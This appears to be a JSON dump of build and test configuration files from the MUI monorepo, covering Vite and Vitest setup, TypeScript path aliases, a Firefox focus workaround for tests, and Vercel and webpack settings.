    "content": "import { defineConfig, transformWithEsbuild } from 'vite';\nimport react from '@vitejs/plugin-react';\nimport * as path from 'path';\nimport * as url from 'url';\n\nconst currentDirectory = url.fileURLToPath(new URL('.', import.meta.url));\nconst WORKSPACE_ROOT = path.resolve(currentDirectory, '../../');\n\n// https://vite.dev/config/\nexport default defineConfig({\n  esbuild: {\n    minifyIdentifiers: false,\n    keepNames: true,\n  },\n  plugins: [\n    {\n      // Unfortunately necessary as we opted to write our jsx in js files\n      name: 'treat-js-files-as-jsx',\n      async transform(code, id) {\n        if (/\\/node_modules\\//.test(id)) {\n          return null;\n        }\n        if (!/.*\\.js$/.test(id)) {\n          return null;\n        }\n        if (id.startsWith('\\0')) {\n          return null;\n        }\n        // Use the exposed transform from vite, instead of directly\n        // transforming with esbuild\n        return transformWithEsbuild(code, id, {\n          loader: 'tsx',\n          jsx: 'automatic',\n        });\n      },\n    },\n    react(),\n  ],\n  define: {\n    'process.env': '{}',\n  },\n  resolve: {\n    extensions: ['.mjs', '.js', '.mts', '.ts', '.jsx', '.tsx', '.json'],\n    alias: {\n      '@mui/material': path.resolve(WORKSPACE_ROOT, './packages/mui-material/src'),\n      '@mui/docs': path.resolve(WORKSPACE_ROOT, './packages/mui-docs/src'),\n      '@mui/icons-material': path.resolve(WORKSPACE_ROOT, './packages/mui-icons-material/lib'),\n      '@mui/lab': path.resolve(WORKSPACE_ROOT, './packages/mui-lab/src'),\n      '@mui/styled-engine': path.resolve(WORKSPACE_ROOT, './packages/mui-styled-engine/src'),\n      '@mui/styled-engine-sc': path.resolve(WORKSPACE_ROOT, './packages/mui-styled-engine-sc/src'),\n      '@mui/styles': path.resolve(WORKSPACE_ROOT, './packages/mui-styles/src'),\n      '@mui/system': path.resolve(WORKSPACE_ROOT, './packages/mui-system/src'),\n      '@mui/private-theming': path.resolve(WORKSPACE_ROOT, './packages/mui-private-theming/src'),\n      '@mui/utils': path.resolve(WORKSPACE_ROOT, './packages/mui-utils/src'),\n      '@mui/material-nextjs': path.resolve(WORKSPACE_ROOT, './packages/mui-material-nextjs/src'),\n      '@mui/stylis-plugin-rtl': path.resolve(\n        WORKSPACE_ROOT,\n        './packages/mui-stylis-plugin-rtl/src',\n      ),\n      '@mui/internal-docs-utils': path.resolve(\n        WORKSPACE_ROOT,\n        './packages-internal/docs-utils/src',\n      ),\n      '@mui/internal-scripts/typescript-to-proptypes': path.resolve(\n        WORKSPACE_ROOT,\n        './packages-internal/scripts/typescript-to-proptypes/src',\n      ),\n      docs: path.resolve(WORKSPACE_ROOT, './docs'),\n    },\n  },\n  optimizeDeps: {\n    force: true,\n    esbuildOptions: {\n      loader: {\n        '.js': 'tsx',\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "test/regressions/vitest.config.ts",
    "content": "import { defineConfig } from 'vitest/config';\n\nexport default defineConfig({\n  test: {\n    globals: true,\n  },\n});\n"
  },
  {
    "path": "test/setupVitest.ts",
    "content": "import { beforeAll, afterAll } from 'vitest';\nimport setupVitest from '@mui/internal-test-utils/setupVitest';\n\nsetupVitest({ emotion: true });\n\n// In Firefox, calling focus() with arguments (e.g. focusOptions) fails silently,\n// which causes focus-visible related tests to fail as a consequence.\n// This override is only applied in a browser environment running Firefox.\nif (typeof globalThis.navigator !== 'undefined' && !navigator.userAgent.includes('jsdom')) {\n  const isFirefox = navigator.userAgent.toLowerCase().includes('firefox');\n\n  if (isFirefox) {\n    const originalFocus = HTMLElement.prototype.focus;\n\n    beforeAll(() => {\n      Object.defineProperty(HTMLElement.prototype, 'focus', {\n        configurable: true,\n        value: function focusWithoutArguments() {\n          originalFocus.call(this); // always call without arguments\n        },\n      });\n    });\n\n    afterAll(() => {\n      Object.defineProperty(HTMLElement.prototype, 'focus', {\n        value: originalFocus,\n      });\n    });\n  }\n}\n"
  },
  {
    "path": "test/tsconfig.json",
    "content": "{\n  \"extends\": \"../tsconfig.json\",\n  \"compilerOptions\": {\n    \"allowJs\": true,\n    \"skipLibCheck\": true,\n    \"esModuleInterop\": true,\n    \"module\": \"nodenext\",\n    \"moduleResolution\": \"nodenext\",\n    \"types\": [\"vitest/globals\"]\n  },\n  \"include\": [\"e2e/**/*\", \"integration/**/*\", \"regressions/**/*\"],\n  \"exclude\": [\"node_modules\", \"regressions/build/**/*\", \"vitest.config.ts\"]\n}\n"
  },
  {
    "path": "tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    // aligning with Node18 recommendation: https://www.npmjs.com/package/@tsconfig/node18\n    \"target\": \"es2022\",\n    \"lib\": [\"es2020\", \"dom\", \"dom.iterable\"],\n    \"jsx\": \"react-jsx\",\n    \"forceConsistentCasingInFileNames\": true,\n    \"strict\": true,\n    \"noEmit\": true,\n    \"module\": \"preserve\",\n    \"moduleResolution\": \"bundler\",\n    \"experimentalDecorators\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"noErrorTruncation\": false,\n    \"allowJs\": true,\n    \"paths\": {\n      \"@mui/material\": [\"./packages/mui-material/src\"],\n      \"@mui/material/package.json\": [\"./packages/mui-material/package.json\"],\n      \"@mui/material/*\": [\"./packages/mui-material/src/*\"],\n      \"@mui/lab\": [\"./packages/mui-lab/src\"],\n      \"@mui/lab/*\": [\"./packages/mui-lab/src/*\"],\n      \"@mui/internal-markdown\": [\"./packages/markdown\"],\n      \"@mui/internal-markdown/*\": [\"./packages/markdown/*\"],\n      \"@mui/styled-engine\": [\"./packages/mui-styled-engine/src\"],\n      \"@mui/styled-engine/*\": [\"./packages/mui-styled-engine/src/*\"],\n      \"@mui/styled-engine-sc\": [\"./packages/mui-styled-engine-sc/src\"],\n      \"@mui/styled-engine-sc/*\": [\"./packages/mui-styled-engine-sc/src/*\"],\n      \"@mui/system\": [\"./packages/mui-system/src\"],\n      \"@mui/system/package.json\": [\"./packages/mui-system/package.json\"],\n      \"@mui/system/*\": [\"./packages/mui-system/src/*\"],\n      \"@mui/types\": [\"./packages/mui-types/src\"],\n      \"@mui/private-theming\": [\"./packages/mui-private-theming/src\"],\n      \"@mui/private-theming/*\": [\"./packages/mui-private-theming/src/*\"],\n      \"@mui/utils\": [\"./packages/mui-utils/src\"],\n      \"@mui/utils/*\": [\"./packages/mui-utils/src/*\"],\n      \"@mui/docs\": [\"./packages/mui-docs/src\"],\n      \"@mui/docs/*\": [\"./packages/mui-docs/src/*\"],\n      \"@mui/material-nextjs\": [\"./packages/mui-material-nextjs/src\"],\n      \"@mui/material-nextjs/*\": [\"./packages/mui-material-nextjs/src/*\"],\n      \"@mui/icons-material\": [\"./packages/mui-icons-material/lib/index.mjs\"],\n      \"@mui/icons-material/*\": [\"./packages/mui-icons-material/lib/*.mjs\"],\n      \"@mui/internal-docs-utils\": [\"./packages-internal/docs-utils/src\"],\n      \"@mui/internal-scripts/typescript-to-proptypes\": [\n        \"./packages-internal/scripts/typescript-to-proptypes/src\"\n      ],\n      \"@mui/internal-scripts/generate-llms-txt\": [\n        \"./packages-internal/scripts/generate-llms-txt/src\"\n      ],\n      \"@mui/stylis-plugin-rtl\": [\"./packages/mui-stylis-plugin-rtl/src\"],\n      \"@mui/stylis-plugin-rtl/*\": [\"./packages/mui-stylis-plugin-rtl/src/*\"],\n      \"docs/*\": [\"./docs/*\"]\n    },\n    // Otherwise we get react-native typings which conflict with dom.lib.\n    \"types\": [\"node\", \"react\", \"vitest/globals\"]\n  },\n  \"exclude\": [\"**/.*/\", \"**/build\", \"**/node_modules\", \"docs/export\"]\n}\n"
  },
  {
    "path": "vercel.json",
    "content": "{\n  \"github\": {\n    \"autoJobCancelation\": false,\n    \"silent\": true\n  },\n  \"public\": true,\n  \"trailingSlash\": true\n}\n"
  },
  {
    "path": "vitest.config.mts",
    "content": "import { defineConfig, coverageConfigDefaults } from 'vitest/config';\nimport * as path from 'path';\n\nconst MONOREPO_ROOT = path.resolve(__dirname, '.');\n\nconst BROWSER_TESTS = ['{docs,packages{-internal,}/*}/vitest.config.browser.mts'];\nconst NODE_TESTS = ['{docs,packages{-internal,}/*}/vitest.config.mts'];\n\nfunction getProjects() {\n  if (process.env.TEST_SCOPE === 'browser') {\n    return BROWSER_TESTS;\n  }\n  if (process.env.TEST_SCOPE === 'node') {\n    return NODE_TESTS;\n  }\n  return [...BROWSER_TESTS, ...NODE_TESTS];\n}\n\n/**\n * See https://vitest.dev/guide/workspace.html\n * > The root configuration will only influence global options such as reporters and coverage.\n */\nexport default defineConfig({\n  test: {\n    projects: getProjects(),\n    sequence: {\n      hooks: 'list',\n    },\n    coverage: {\n      provider: 'v8',\n      reporter: process.env.CI ? ['lcovonly'] : ['text'],\n      reportsDirectory: path.resolve(MONOREPO_ROOT, 'coverage'),\n      include: ['packages/*/src/**/*.{mts,ts,tsx,mjs,js,jsx}'],\n      exclude: [\n        '**/*.d.ts',\n        '**/__fixtures__/**',\n        'packages/mui-icons-material/src/**',\n        'packages/mui-codemod/src/**/{test-cases,*.test}/**',\n        '**/{postcss,vitest}.config.*',\n        ...coverageConfigDefaults.exclude,\n      ],\n    },\n  },\n});\n"
  },
  {
    "path": "vitest.shared.mts",
    "content": "import 'dotenv/config';\nimport { configDefaults, defineProject } from 'vitest/config';\nimport * as fs from 'fs/promises';\nimport * as path from 'path';\nimport { fileURLToPath } from 'url';\nimport react from '@vitejs/plugin-react';\nimport { Plugin, transformWithEsbuild } from 'vite';\nimport { playwright } from '@vitest/browser-playwright';\nimport { BrowserInstanceOption } from 'vitest/node';\n\nfunction forceJsxForJsFiles(): Plugin {\n  return {\n    name: 'force-jsx-loader-for-js',\n    enforce: 'pre',\n    async transform(code, id) {\n      if (id.includes('/node_modules/')) {\n        return null;\n      }\n\n      if (!id.endsWith('.js')) {\n        return null;\n      }\n\n      const result = await transformWithEsbuild(code, id, {\n        loader: 'jsx',\n      });\n\n      // @vitejs/plugin-react only adds the React import for .jsx files.\n      if (!result.code.includes(\"from 'react'\") && !result.code.includes('from \"react\"')) {\n        result.code = `import * as React from 'react';\\n${result.code}`;\n      }\n\n      return result;\n    },\n  };\n}\n\nfunction getVitestEnvironment(fileName: string): 'browser' | 'node' {\n  const basename = path.basename(fileName);\n  if (basename.includes('.browser.')) {\n    return 'browser';\n  }\n  return 'node';\n}\n\nconst MONOREPO_ROOT = path.resolve(__dirname, '.');\n\nexport interface CreateOptions {\n  jsdom?: boolean;\n  enableScrollbars?: boolean;\n}\n\nexport default async function create(\n  fileUrl: string,\n  { jsdom = false, enableScrollbars = false }: CreateOptions = {},\n) {\n  const file = fileURLToPath(fileUrl);\n  const testEnv = getVitestEnvironment(file);\n  const pkgJson = path.resolve(file, '../package.json');\n  const pkg = await fs.readFile(pkgJson, 'utf8').then((content) => JSON.parse(content));\n\n  const name = `${testEnv}:${pkg.name}`;\n\n  const ignore = await fs.readFile(path.resolve(MONOREPO_ROOT, './.gitignore'), 'utf8');\n  const excludes = ignore\n    .trim()\n    .split('\\n')\n    .filter((line) => line.startsWith('#'))\n    .map((line) => (line.startsWith('/') ? line.slice(1) : line));\n\n  return defineProject({\n    plugins: [react(), forceJsxForJsFiles()],\n    define: {\n      'process.env.NODE_ENV': JSON.stringify('development'),\n    },\n    test: {\n      name,\n      exclude: ['**/node_modules/**', '**/build/**', '**/*.spec.*', '**/.next/**', ...excludes],\n      globals: true,\n      disableConsoleIntercept: true,\n      setupFiles: [path.resolve(MONOREPO_ROOT, './test/setupVitest.ts')],\n      server: {\n        deps: {\n          inline: ['@mui/internal-test-utils'],\n        },\n      },\n      environment: jsdom ? 'jsdom' : 'node',\n\n      fakeTimers: {\n        // We use performance.now in the codebase\n        toFake: [...(configDefaults.fakeTimers.toFake ?? []), 'performance'],\n      },\n      browser: {\n        enabled: testEnv === 'browser',\n        provider: playwright({\n          launchOptions: {\n            ignoreDefaultArgs: [...(enableScrollbars ? ['--hide-scrollbars'] : [])],\n          },\n        }),\n        headless: true,\n        viewport: {\n          width: 1024,\n          height: 896,\n        },\n        instances: (process.env.VITEST_BROWSERS || 'chromium')\n          .split(',')\n          .map((browser) => ({ browser }) as BrowserInstanceOption),\n        screenshotFailures: false,\n      },\n      env: {\n        VITEST: 'true',\n        NODE_ENV: 'development',\n      },\n    },\n    resolve: {\n      dedupe: ['react', 'react-dom'],\n      extensions: ['.mjs', '.js', '.mts', '.ts', '.jsx', '.tsx', '.json'],\n      alias: {\n        '@mui/internal-docs-utils': path.resolve(\n          MONOREPO_ROOT,\n          './packages-internal/docs-utils/src',\n        ),\n        '@mui/material': path.resolve(MONOREPO_ROOT, './packages/mui-material/src'),\n        '@mui/system': path.resolve(MONOREPO_ROOT, './packages/mui-system/src'),\n        '@mui/types': path.resolve(MONOREPO_ROOT, './packages/mui-types/src'),\n        '@mui/utils': path.resolve(MONOREPO_ROOT, './packages/mui-utils/src'),\n        '@mui/styled-engine': path.resolve(MONOREPO_ROOT, './packages/mui-styled-engine/src'),\n        '@mui/styled-engine-sc': path.resolve(MONOREPO_ROOT, './packages/mui-styled-engine-sc/src'),\n        '@mui/styles': path.resolve(MONOREPO_ROOT, './packages/mui-styles/src'),\n        '@mui/stylis-plugin-rtl': path.resolve(\n          MONOREPO_ROOT,\n          './packages/mui-stylis-plugin-rtl/src',\n        ),\n        '@mui/icons-material': path.resolve(MONOREPO_ROOT, './packages/mui-icons-material/lib'),\n        '@mui/lab': path.resolve(MONOREPO_ROOT, './packages/mui-lab/src'),\n        '@mui/private-theming': path.resolve(MONOREPO_ROOT, './packages/mui-private-theming/src'),\n        '@mui/docs': path.resolve(MONOREPO_ROOT, './packages/mui-docs/src'),\n        '@mui/material-nextjs': path.resolve(MONOREPO_ROOT, './packages/mui-material-nextjs/src'),\n        docs: path.resolve(MONOREPO_ROOT, './docs'),\n      },\n    },\n    optimizeDeps: {\n      esbuildOptions: {\n        plugins: [\n          {\n            name: 'js-as-jsx',\n            setup(build) {\n              build.onLoad({ filter: /\\.js$/ }, async (args) => {\n                if (args.path.includes('/node_modules/')) {\n                  return null;\n                }\n\n                const contents = await fs.readFile(args.path, 'utf8');\n\n                return {\n                  contents,\n                  loader: 'jsx',\n                };\n              });\n            },\n          },\n        ],\n      },\n    },\n  });\n}\n"
  },
  {
    "path": "webpackBaseConfig.js",
    "content": "const path = require('path');\nconst TsconfigPathsPlugin = require('tsconfig-paths-webpack-plugin');\n\nconst extensions = ['.js', '.mjs', '.ts', '.tsx'];\n\n// WARNING: Use this module only as an inspiration.\n// Cherry-pick the parts you need and inline them in the webpack.config you need.\n// This module isn't used to build the documentation. We use Next.js for that.\n// This module is used by the visual regression tests to run the demos and by eslint-plugin-import.\nmodule.exports = {\n  context: path.resolve(__dirname),\n  resolve: {\n    modules: [__dirname, 'node_modules'],\n    extensions,\n    plugins: [new TsconfigPathsPlugin({ extensions })],\n  },\n};\n"
  }
]